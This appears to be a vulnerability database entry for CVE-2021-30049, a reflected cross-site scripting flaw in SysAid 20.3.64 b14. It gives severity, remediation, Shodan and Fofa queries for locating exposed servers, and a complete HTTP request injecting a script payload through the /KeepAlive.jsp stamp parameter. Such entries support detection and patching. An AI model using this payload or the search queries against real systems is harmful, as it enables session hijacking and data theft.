| Title | SysAid Technologies 20.3.64 b14 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest patch or upgrade to a non-vulnerable version of SysAid Technologies 20.3.64 b14 to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05184 |
| CVE ID | CVE-2021-30049 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:1540720428 |
| Fofa Query | icon_hash=1540720428 |
| Tags | cve2021 cve xss sysaid vuln |
SysAid 20.3.64 b14 contains a cross-site scripting vulnerability via the /KeepAlive.jsp?stamp= URI.
GET /KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.14
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30049.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-30049.pcap
N/AN/A